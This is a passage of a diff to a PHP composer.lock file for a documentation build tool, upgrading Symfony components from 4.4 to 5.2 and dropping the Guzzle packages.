-                "files": [
-                    "src/functions_include.php"
-                ]
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Michael Dowling",
-                    "email": "mtdowling@gmail.com",
-                    "homepage": "https://github.com/mtdowling"
-                }
-            ],
-            "description": "Guzzle is a PHP HTTP client library",
-            "homepage": "http://guzzlephp.org/",
-            "keywords": [
-                "client",
-                "curl",
-                "framework",
-                "http",
-                "http client",
-                "rest",
-                "web service"
-            ],
-            "support": {
-                "issues": "https://github.com/guzzle/guzzle/issues",
-                "source": "https://github.com/guzzle/guzzle/tree/6.5"
-            },
-            "time": "2020-06-16T21:01:06+00:00"
-        },
-        {
-            "name": "guzzlehttp/promises",
-            "version": "1.4.0",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/guzzle/promises.git",
-                "reference": "60d379c243457e073cff02bc323a2a86cb355631"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/guzzle/promises/zipball/60d379c243457e073cff02bc323a2a86cb355631",
-                "reference": "60d379c243457e073cff02bc323a2a86cb355631",
-                "shasum": ""
-            },
-            "require": {
-                "php": ">=5.5"
-            },
-            "require-dev": {
-                "symfony/phpunit-bridge": "^4.4 || ^5.1"
-            },
-            "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "1.4-dev"
-                }
+                "source": "https://github.com/doctrine/rst-parser/tree/0.4.x"
             },
-            "autoload": {
-                "psr-4": {
-                    "GuzzleHttp\\Promise\\": "src/"
-                },
-                "files": [
-                    "src/functions_include.php"
-                ]
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Michael Dowling",
-                    "email": "mtdowling@gmail.com",
-                    "homepage": "https://github.com/mtdowling"
-                }
-            ],
-            "description": "Guzzle promises library",
-            "keywords": [
-                "promise"
-            ],
-            "support": {
-                "issues": "https://github.com/guzzle/promises/issues",
-                "source": "https://github.com/guzzle/promises/tree/1.4.0"
-            },
-            "time": "2020-09-30T07:37:28+00:00"
-        },
-        {
-            "name": "guzzlehttp/psr7",
-            "version": "1.7.0",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/guzzle/psr7.git",
-                "reference": "53330f47520498c0ae1f61f7e2c90f55690c06a3"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/guzzle/psr7/zipball/53330f47520498c0ae1f61f7e2c90f55690c06a3",
-                "reference": "53330f47520498c0ae1f61f7e2c90f55690c06a3",
-                "shasum": ""
-            },
-            "require": {
-                "php": ">=5.4.0",
-                "psr/http-message": "~1.0",
-                "ralouphie/getallheaders": "^2.0.5 || ^3.0.0"
-            },
-            "provide": {
-                "psr/http-message-implementation": "1.0"
-            },
-            "require-dev": {
-                "ext-zlib": "*",
-                "phpunit/phpunit": "~4.8.36 || ^5.7.27 || ^6.5.14 || ^7.5.20 || ^8.5.8 || ^9.3.10"
-            },
-            "suggest": {
-                "laminas/laminas-httphandlerrunner": "Emit PSR-7 responses"
-            },
-            "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "1.7-dev"
-                }
-            },
-            "autoload": {
-                "psr-4": {
-                    "GuzzleHttp\\Psr7\\": "src/"
-                },
-                "files": [
-                    "src/functions_include.php"
-                ]
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Michael Dowling",
-                    "email": "mtdowling@gmail.com",
-                    "homepage": "https://github.com/mtdowling"
-                },
-                {
-                    "name": "Tobias Schultze",
-                    "homepage": "https://github.com/Tobion"
-                }
-            ],
-            "description": "PSR-7 message implementation that also provides common utility methods",
-            "keywords": [
-                "http",
-                "message",
-                "psr-7",
-                "request",
-                "response",
-                "stream",
-                "uri",
-                "url"
-            ],
-            "support": {
-                "issues": "https://github.com/guzzle/psr7/issues",
-                "source": "https://github.com/guzzle/psr7/tree/1.7.0"
-            },
-            "time": "2020-09-30T07:37:11+00:00"
+            "time": "2021-04-15T17:43:16+00:00"
         },
         {
             "name": "psr/container",
-            "version": "1.0.0",
+            "version": "1.1.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/php-fig/container.git",
-                "reference": "b7ce3b176482dbbc1245ebf52b181af44c2cf55f"
+                "reference": "8622567409010282b7aeebe4bb841fe98b58dcaf"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/php-fig/container/zipball/b7ce3b176482dbbc1245ebf52b181af44c2cf55f",
-                "reference": "b7ce3b176482dbbc1245ebf52b181af44c2cf55f",
+                "url": "https://api.github.com/repos/php-fig/container/zipball/8622567409010282b7aeebe4bb841fe98b58dcaf",
+                "reference": "8622567409010282b7aeebe4bb841fe98b58dcaf",
                 "shasum": ""
             },
             "require": {
-                "php": ">=5.3.0"
+                "php": ">=7.2.0"
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "1.0.x-dev"
-                }
-            },
             "autoload": {
                 "psr-4": {
                     "Psr\\Container\\": "src/"
@@ -404,7 +202,7 @@
             "authors": [
                 {
                     "name": "PHP-FIG",
-                    "homepage": "http://www.php-fig.org/"
+                    "homepage": "https://www.php-fig.org/"
                 }
             ],
             "description": "Common Container Interface (PHP FIG PSR-11)",
@@ -418,62 +216,9 @@
             ],
             "support": {
                 "issues": "https://github.com/php-fig/container/issues",
-                "source": "https://github.com/php-fig/container/tree/master"
+                "source": "https://github.com/php-fig/container/tree/1.1.1"
             },
-            "time": "2017-02-14T16:28:37+00:00"
-        },
-        {
-            "name": "psr/http-message",
-            "version": "1.0.1",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/php-fig/http-message.git",
-                "reference": "f6561bf28d520154e4b0ec72be95418abe6d9363"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/php-fig/http-message/zipball/f6561bf28d520154e4b0ec72be95418abe6d9363",
-                "reference": "f6561bf28d520154e4b0ec72be95418abe6d9363",
-                "shasum": ""
-            },
-            "require": {
-                "php": ">=5.3.0"
-            },
-            "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "1.0.x-dev"
-                }
-            },
-            "autoload": {
-                "psr-4": {
-                    "Psr\\Http\\Message\\": "src/"
-                }
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "PHP-FIG",
-                    "homepage": "http://www.php-fig.org/"
-                }
-            ],
-            "description": "Common interface for HTTP messages",
-            "homepage": "https://github.com/php-fig/http-message",
-            "keywords": [
-                "http",
-                "http-message",
-                "psr",
-                "psr-7",
-                "request",
-                "response"
-            ],
-            "support": {
-                "source": "https://github.com/php-fig/http-message/tree/master"
-            },
-            "time": "2016-08-06T14:39:51+00:00"
+            "time": "2021-03-05T17:36:06+00:00"
         },
         {
             "name": "psr/log",
@@ -525,50 +270,6 @@
             },
             "time": "2020-03-23T09:12:05+00:00"
         },
-        {
-            "name": "ralouphie/getallheaders",
-            "version": "3.0.3",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/ralouphie/getallheaders.git",
-                "reference": "120b605dfeb996808c31b6477290a714d356e822"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/ralouphie/getallheaders/zipball/120b605dfeb996808c31b6477290a714d356e822",
-                "reference": "120b605dfeb996808c31b6477290a714d356e822",
-                "shasum": ""
-            },
-            "require": {
-                "php": ">=5.6"
-            },
-            "require-dev": {
-                "php-coveralls/php-coveralls": "^2.1",
-                "phpunit/phpunit": "^5 || ^6.5"
-            },
-            "type": "library",
-            "autoload": {
-                "files": [
-                    "src/getallheaders.php"
-                ]
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Ralph Khattar",
-                    "email": "ralph.khattar@gmail.com"
-                }
-            ],
-            "description": "A polyfill for getallheaders.",
-            "support": {
-                "issues": "https://github.com/ralouphie/getallheaders/issues",
-                "source": "https://github.com/ralouphie/getallheaders/tree/develop"
-            },
-            "time": "2019-03-08T08:55:37+00:00"
-        },
         {
             "name": "scrivo/highlight.php",
             "version": "v9.18.1.6",
@@ -647,42 +348,44 @@
         },
         {
             "name": "symfony/console",
-            "version": "v4.4.19",
+            "version": "v5.2.6",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/console.git",
-                "reference": "24026c44fc37099fa145707fecd43672831b837a"
+                "reference": "35f039df40a3b335ebf310f244cb242b3a83ac8d"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/console/zipball/24026c44fc37099fa145707fecd43672831b837a",
-                "reference": "24026c44fc37099fa145707fecd43672831b837a",
+                "url": "https://api.github.com/repos/symfony/console/zipball/35f039df40a3b335ebf310f244cb242b3a83ac8d",
+                "reference": "35f039df40a3b335ebf310f244cb242b3a83ac8d",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1.3",
+                "php": ">=7.2.5",
                 "symfony/polyfill-mbstring": "~1.0",
                 "symfony/polyfill-php73": "^1.8",
                 "symfony/polyfill-php80": "^1.15",
-                "symfony/service-contracts": "^1.1|^2"
+                "symfony/service-contracts": "^1.1|^2",
+                "symfony/string": "^5.1"
             },
             "conflict": {
-                "symfony/dependency-injection": "<3.4",
-                "symfony/event-dispatcher": "<4.3|>=5",
+                "symfony/dependency-injection": "<4.4",
+                "symfony/dotenv": "<5.1",
+                "symfony/event-dispatcher": "<4.4",
                 "symfony/lock": "<4.4",
-                "symfony/process": "<3.3"
+                "symfony/process": "<4.4"
             },
             "provide": {
                 "psr/log-implementation": "1.0"
             },
             "require-dev": {
                 "psr/log": "~1.0",
-                "symfony/config": "^3.4|^4.0|^5.0",
-                "symfony/dependency-injection": "^3.4|^4.0|^5.0",
-                "symfony/event-dispatcher": "^4.3",
+                "symfony/config": "^4.4|^5.0",
+                "symfony/dependency-injection": "^4.4|^5.0",
+                "symfony/event-dispatcher": "^4.4|^5.0",
                 "symfony/lock": "^4.4|^5.0",
-                "symfony/process": "^3.4|^4.0|^5.0",
-                "symfony/var-dumper": "^4.3|^5.0"
+                "symfony/process": "^4.4|^5.0",
+                "symfony/var-dumper": "^4.4|^5.0"
             },
             "suggest": {
                 "psr/log": "For using the console logger",
@@ -715,8 +418,14 @@
             ],
             "description": "Eases the creation of beautiful and testable command line interfaces",
             "homepage": "https://symfony.com",
+            "keywords": [
+                "cli",
+                "command line",
+                "console",
+                "terminal"
+            ],
             "support": {
-                "source": "https://github.com/symfony/console/tree/v4.4.19"
+                "source": "https://github.com/symfony/console/tree/v5.2.6"
             },
             "funding": [
                 {
@@ -732,24 +441,24 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-27T09:09:26+00:00"
+            "time": "2021-03-28T09:42:18+00:00"
         },
         {
             "name": "symfony/css-selector",
-            "version": "v4.4.19",
+            "version": "v5.2.4",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/css-selector.git",
-                "reference": "f907d3e53ecb2a5fad8609eb2f30525287a734c8"
+                "reference": "f65f217b3314504a1ec99c2d6ef69016bb13490f"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/css-selector/zipball/f907d3e53ecb2a5fad8609eb2f30525287a734c8",
-                "reference": "f907d3e53ecb2a5fad8609eb2f30525287a734c8",
+                "url": "https://api.github.com/repos/symfony/css-selector/zipball/f65f217b3314504a1ec99c2d6ef69016bb13490f",
+                "reference": "f65f217b3314504a1ec99c2d6ef69016bb13490f",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1.3"
+                "php": ">=7.2.5"
             },
             "type": "library",
             "autoload": {
@@ -781,7 +490,7 @@
             "description": "Converts CSS selectors to XPath expressions",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/css-selector/tree/v4.4.19"
+                "source": "https://github.com/symfony/css-selector/tree/v5.2.4"
             },
             "funding": [
                 {
@@ -797,34 +506,33 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-27T09:09:26+00:00"
+            "time": "2021-01-27T10:01:46+00:00"
         },
         {
             "name": "symfony/docs-builder",
-            "version": "v0.12.0",
+            "version": "v0.15.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/weaverryan/docs-builder",
-                "reference": "e388a6f8cd7a98c34cdc913d18adc9e92ef73441"
+                "reference": "b9f5e8d9b0608e5dc55979e32bc0f36983adcbd8"
             },
             "require": {
-                "doctrine/rst-parser": "dev-master",
+                "doctrine/rst-parser": "0.4.x-dev",
                 "ext-curl": "*",
                 "ext-json": "*",
-                "guzzlehttp/guzzle": "~6.0",
                 "scrivo/highlight.php": "^9.12.0",
-                "symfony/console": "^4.1",
-                "symfony/css-selector": "^4.1",
-                "symfony/dom-crawler": "^4.1",
-                "symfony/filesystem": "^4.1",
-                "symfony/finder": "^4.1",
-                "symfony/http-client": "^4.3",
-                "twig/twig": "^2.7.3"
+                "symfony/console": "^5.2",
+                "symfony/css-selector": "^5.2",
+                "symfony/dom-crawler": "^5.2",
+                "symfony/filesystem": "^5.2",
+                "symfony/finder": "^5.2",
+                "symfony/http-client": "^5.2",
+                "twig/twig": "^2.14 || ^3.3"
             },
             "require-dev": {
                 "gajus/dindent": "^2.0",
-                "symfony/phpunit-bridge": "^4.1",
-                "symfony/process": "^4.2"
+                "symfony/phpunit-bridge": "^5.2",
+                "symfony/process": "^5.2"
             },
             "type": "project",
             "autoload": {
@@ -832,37 +540,43 @@
                     "SymfonyDocsBuilder\\": "src"
                 }
             },
+            "autoload-dev": {
+                "psr-4": {
+                    "SymfonyDocsBuilder\\Tests\\": "tests"
+                }
+            },
             "license": [
                 "MIT"
             ],
             "description": "The build system for Symfony's documentation",
-            "time": "2020-10-26T22:58:16+00:00"
+            "time": "2021-04-15T00:39:27+00:00"
         },
         {
             "name": "symfony/dom-crawler",
-            "version": "v4.4.19",
+            "version": "v5.2.4",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/dom-crawler.git",
-                "reference": "21032c566558255e551d23f4a516434c9e3a9a78"
+                "reference": "400e265163f65aceee7e904ef532e15228de674b"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/21032c566558255e551d23f4a516434c9e3a9a78",
-                "reference": "21032c566558255e551d23f4a516434c9e3a9a78",
+                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/400e265163f65aceee7e904ef532e15228de674b",
+                "reference": "400e265163f65aceee7e904ef532e15228de674b",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1.3",
+                "php": ">=7.2.5",
                 "symfony/polyfill-ctype": "~1.8",
-                "symfony/polyfill-mbstring": "~1.0"
+                "symfony/polyfill-mbstring": "~1.0",
+                "symfony/polyfill-php80": "^1.15"
             },
             "conflict": {
                 "masterminds/html5": "<2.6"
             },
             "require-dev": {
                 "masterminds/html5": "^2.6",
-                "symfony/css-selector": "^3.4|^4.0|^5.0"
+                "symfony/css-selector": "^4.4|^5.0"
             },
             "suggest": {
                 "symfony/css-selector": ""
@@ -893,7 +607,7 @@
             "description": "Eases DOM navigation for HTML and XML documents",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/dom-crawler/tree/v4.4.19"
+                "source": "https://github.com/symfony/dom-crawler/tree/v5.2.4"
             },
             "funding": [
                 {
@@ -909,24 +623,24 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-27T09:09:26+00:00"
+            "time": "2021-02-15T18:55:04+00:00"
         },
         {
             "name": "symfony/filesystem",
-            "version": "v4.4.19",
+            "version": "v5.2.6",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/filesystem.git",
-                "reference": "83a6feed14846d2d9f3916adbaf838819e4e3380"
+                "reference": "8c86a82f51658188119e62cff0a050a12d09836f"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/filesystem/zipball/83a6feed14846d2d9f3916adbaf838819e4e3380",
-                "reference": "83a6feed14846d2d9f3916adbaf838819e4e3380",
+                "url": "https://api.github.com/repos/symfony/filesystem/zipball/8c86a82f51658188119e62cff0a050a12d09836f",
+                "reference": "8c86a82f51658188119e62cff0a050a12d09836f",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1.3",
+                "php": ">=7.2.5",
                 "symfony/polyfill-ctype": "~1.8"
             },
             "type": "library",
@@ -955,7 +669,7 @@
             "description": "Provides basic utilities for the filesystem",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/filesystem/tree/v4.4.19"
+                "source": "https://github.com/symfony/filesystem/tree/v5.2.6"
             },
             "funding": [
                 {
@@ -971,24 +685,24 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-27T09:09:26+00:00"
+            "time": "2021-03-28T14:30:26+00:00"
         },
         {
             "name": "symfony/finder",
-            "version": "v4.4.19",
+            "version": "v5.2.4",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/finder.git",
-                "reference": "25d79cfccfc12e84e7a63a248c3f0720fdd92db6"
+                "reference": "0d639a0943822626290d169965804f79400e6a04"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/finder/zipball/25d79cfccfc12e84e7a63a248c3f0720fdd92db6",
-                "reference": "25d79cfccfc12e84e7a63a248c3f0720fdd92db6",
+                "url": "https://api.github.com/repos/symfony/finder/zipball/0d639a0943822626290d169965804f79400e6a04",
+                "reference": "0d639a0943822626290d169965804f79400e6a04",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1.3"
+                "php": ">=7.2.5"
             },
             "type": "library",
             "autoload": {
@@ -1016,7 +730,7 @@
             "description": "Finds files and directories via an intuitive fluent interface",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/finder/tree/v4.4.19"
+                "source": "https://github.com/symfony/finder/tree/v5.2.4"
             },
             "funding": [
                 {
@@ -1032,43 +746,49 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-27T09:09:26+00:00"
+            "time": "2021-02-15T18:55:04+00:00"
         },
         {
             "name": "symfony/http-client",
-            "version": "v4.4.19",
+            "version": "v5.2.6",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client.git",
-                "reference": "d8df50fe9229576b254c6822eb5cfff36c02c967"
+                "reference": "3c3075467da15bc2edf38d2ac20d34719e794bd8"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client/zipball/d8df50fe9229576b254c6822eb5cfff36c02c967",
-                "reference": "d8df50fe9229576b254c6822eb5cfff36c02c967",
+                "url": "https://api.github.com/repos/symfony/http-client/zipball/3c3075467da15bc2edf38d2ac20d34719e794bd8",
+                "reference": "3c3075467da15bc2edf38d2ac20d34719e794bd8",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1.3",
+                "php": ">=7.2.5",
                 "psr/log": "^1.0",
-                "symfony/http-client-contracts": "^1.1.10|^2",
+                "symfony/http-client-contracts": "^2.2",
                 "symfony/polyfill-php73": "^1.11",
+                "symfony/polyfill-php80": "^1.15",
                 "symfony/service-contracts": "^1.0|^2"
             },
             "provide": {
                 "php-http/async-client-implementation": "*",
                 "php-http/client-implementation": "*",
                 "psr/http-client-implementation": "1.0",
-                "symfony/http-client-implementation": "1.1"
+                "symfony/http-client-implementation": "2.2"
             },
             "require-dev": {
+                "amphp/amp": "^2.5",
+                "amphp/http-client": "^4.2.1",
+                "amphp/http-tunnel": "^1.0",
+                "amphp/socket": "^1.1",
                 "guzzlehttp/promises": "^1.4",
                 "nyholm/psr7": "^1.0",
                 "php-http/httplug": "^1.0|^2.0",
                 "psr/http-client": "^1.0",
-                "symfony/dependency-injection": "^4.3|^5.0",
-                "symfony/http-kernel": "^4.4.13",
-                "symfony/process": "^4.2|^5.0"
+                "symfony/dependency-injection": "^4.4|^5.0",
+                "symfony/http-kernel": "^4.4.13|^5.1.5",
+                "symfony/process": "^4.4|^5.0",
+                "symfony/stopwatch": "^4.4|^5.0"
             },
             "type": "library",
             "autoload": {
@@ -1096,7 +816,7 @@
             "description": "Provides powerful methods to fetch HTTP resources synchronously or asynchronously",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/http-client/tree/v4.4.19"
+                "source": "https://github.com/symfony/http-client/tree/v5.2.6"
             },
             "funding": [
                 {
@@ -1112,20 +832,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-27T09:09:26+00:00"
+            "time": "2021-03-28T09:42:18+00:00"
         },
         {
             "name": "symfony/http-client-contracts",
-            "version": "v2.3.1",
+            "version": "v2.4.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client-contracts.git",
-                "reference": "41db680a15018f9c1d4b23516059633ce280ca33"
+                "reference": "7e82f6084d7cae521a75ef2cb5c9457bbda785f4"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/41db680a15018f9c1d4b23516059633ce280ca33",
-                "reference": "41db680a15018f9c1d4b23516059633ce280ca33",
+                "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/7e82f6084d7cae521a75ef2cb5c9457bbda785f4",
+                "reference": "7e82f6084d7cae521a75ef2cb5c9457bbda785f4",
                 "shasum": ""
             },
             "require": {
@@ -1136,9 +856,8 @@
             },
             "type": "library",
             "extra": {
-                "branch-version": "2.3",
                 "branch-alias": {
-                    "dev-main": "2.3-dev"
+                    "dev-main": "2.4-dev"
                 },
                 "thanks": {
                     "name": "symfony/contracts",
@@ -1175,7 +894,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/http-client-contracts/tree/v2.3.1"
+                "source": "https://github.com/symfony/http-client-contracts/tree/v2.4.0"
             },
             "funding": [
                 {
@@ -1191,7 +910,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-14T17:08:19+00:00"
+            "time": "2021-04-11T23:07:08+00:00"
         },
         {
             "name": "symfony/polyfill-ctype",
@@ -1273,23 +992,21 @@
             "time": "2021-01-07T16:49:33+00:00"
         },
         {
-            "name": "symfony/polyfill-intl-idn",
+            "name": "symfony/polyfill-intl-grapheme",
             "version": "v1.22.1",
             "source": {
                 "type": "git",
-                "url": "https://github.com/symfony/polyfill-intl-idn.git",
-                "reference": "2d63434d922daf7da8dd863e7907e67ee3031483"
+                "url": "https://github.com/symfony/polyfill-intl-grapheme.git",
+                "reference": "5601e09b69f26c1828b13b6bb87cb07cddba3170"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-intl-idn/zipball/2d63434d922daf7da8dd863e7907e67ee3031483",
-                "reference": "2d63434d922daf7da8dd863e7907e67ee3031483",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/5601e09b69f26c1828b13b6bb87cb07cddba3170",
+                "reference": "5601e09b69f26c1828b13b6bb87cb07cddba3170",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1",
-                "symfony/polyfill-intl-normalizer": "^1.10",
-                "symfony/polyfill-php72": "^1.10"
+                "php": ">=7.1"
             },
             "suggest": {
                 "ext-intl": "For best performance"
@@ -1306,7 +1023,7 @@
             },
             "autoload": {
                 "psr-4": {
-                    "Symfony\\Polyfill\\Intl\\Idn\\": ""
+                    "Symfony\\Polyfill\\Intl\\Grapheme\\": ""
                 },
                 "files": [
                     "bootstrap.php"
@@ -1318,30 +1035,26 @@
             ],
             "authors": [
                 {
-                    "name": "Laurent Bassin",
-                    "email": "laurent@bassin.info"
-                },
-                {
-                    "name": "Trevor Rowbotham",
-                    "email": "trevor.rowbotham@pm.me"
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
                 },
                 {
                     "name": "Symfony Community",
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony polyfill for intl's idn_to_ascii and idn_to_utf8 functions",
+            "description": "Symfony polyfill for intl's grapheme_* functions",
             "homepage": "https://symfony.com",
             "keywords": [
                 "compatibility",
-                "idn",
+                "grapheme",
                 "intl",
                 "polyfill",
                 "portable",
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-idn/tree/v1.22.1"
+                "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.22.1"
             },
             "funding": [
                 {
@@ -1523,82 +1236,6 @@
             ],
             "time": "2021-01-22T09:19:47+00:00"
         },
-        {
-            "name": "symfony/polyfill-php72",
-            "version": "v1.22.1",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/symfony/polyfill-php72.git",
-                "reference": "cc6e6f9b39fe8075b3dabfbaf5b5f645ae1340c9"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php72/zipball/cc6e6f9b39fe8075b3dabfbaf5b5f645ae1340c9",
-                "reference": "cc6e6f9b39fe8075b3dabfbaf5b5f645ae1340c9",
-                "shasum": ""
-            },
-            "require": {
-                "php": ">=7.1"
-            },
-            "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-main": "1.22-dev"
-                },
-                "thanks": {
-                    "name": "symfony/polyfill",
-                    "url": "https://github.com/symfony/polyfill"
-                }
-            },
-            "autoload": {
-                "psr-4": {
-                    "Symfony\\Polyfill\\Php72\\": ""
-                },
-                "files": [
-                    "bootstrap.php"
-                ]
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Nicolas Grekas",
-                    "email": "p@tchwork.com"
-                },
-                {
-                    "name": "Symfony Community",
-                    "homepage": "https://symfony.com/contributors"
-                }
-            ],
-            "description": "Symfony polyfill backporting some PHP 7.2+ features to lower PHP versions",
-            "homepage": "https://symfony.com",
-            "keywords": [
-                "compatibility",
-                "polyfill",
-                "portable",
-                "shim"
-            ],
-            "support": {
-                "source": "https://github.com/symfony/polyfill-php72/tree/v1.22.1"
-            },
-            "funding": [
-                {
-                    "url": "https://symfony.com/sponsor",
-                    "type": "custom"
-                },
-                {
-                    "url": "https://github.com/fabpot",
-                    "type": "github"
-                },
-                {
-                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
-                    "type": "tidelift"
-                }
-            ],
-            "time": "2021-01-07T16:49:33+00:00"
-        },
         {
             "name": "symfony/polyfill-php73",
             "version": "v1.22.1",
@@ -1763,20 +1400,21 @@
         },
         {
             "name": "symfony/process",
-            "version": "v4.4.19",
+            "version": "v5.2.4",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/process.git",
-                "reference": "7e950b6366d4da90292c2e7fa820b3c1842b965a"
+                "reference": "313a38f09c77fbcdc1d223e57d368cea76a2fd2f"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/process/zipball/7e950b6366d4da90292c2e7fa820b3c1842b965a",
-                "reference": "7e950b6366d4da90292c2e7fa820b3c1842b965a",
+                "url": "https://api.github.com/repos/symfony/process/zipball/313a38f09c77fbcdc1d223e57d368cea76a2fd2f",
+                "reference": "313a38f09c77fbcdc1d223e57d368cea76a2fd2f",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1.3"
+                "php": ">=7.2.5",
+                "symfony/polyfill-php80": "^1.15"
             },
             "type": "library",
             "autoload": {
@@ -1804,7 +1442,7 @@
             "description": "Executes commands in sub-processes",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/process/tree/v4.4.19"
+                "source": "https://github.com/symfony/process/tree/v5.2.4"
             },
             "funding": [
                 {
@@ -1820,25 +1458,25 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-27T09:09:26+00:00"
+            "time": "2021-01-27T10:15:41+00:00"
         },
         {
             "name": "symfony/service-contracts",
-            "version": "v2.2.0",
+            "version": "v2.4.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/service-contracts.git",
-                "reference": "d15da7ba4957ffb8f1747218be9e1a121fd298a1"
+                "reference": "f040a30e04b57fbcc9c6cbcf4dbaa96bd318b9bb"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/d15da7ba4957ffb8f1747218be9e1a121fd298a1",
-                "reference": "d15da7ba4957ffb8f1747218be9e1a121fd298a1",
+                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/f040a30e04b57fbcc9c6cbcf4dbaa96bd318b9bb",
+                "reference": "f040a30e04b57fbcc9c6cbcf4dbaa96bd318b9bb",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.2.5",
-                "psr/container": "^1.0"
+                "psr/container": "^1.1"
             },
             "suggest": {
                 "symfony/service-implementation": ""
@@ -1846,7 +1484,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-master": "2.2-dev"
+                    "dev-main": "2.4-dev"
                 },
                 "thanks": {
                     "name": "symfony/contracts",
@@ -1883,7 +1521,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/service-contracts/tree/master"
+                "source": "https://github.com/symfony/service-contracts/tree/v2.4.0"
             },
             "funding": [
                 {
@@ -1899,20 +1537,103 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-09-07T11:33:47+00:00"
+            "time": "2021-04-01T10:43:52+00:00"
+        },
+        {
+            "name": "symfony/string",
+            "version": "v5.2.6",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/string.git",
+                "reference": "ad0bd91bce2054103f5eaa18ebeba8d3bc2a0572"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/string/zipball/ad0bd91bce2054103f5eaa18ebeba8d3bc2a0572",
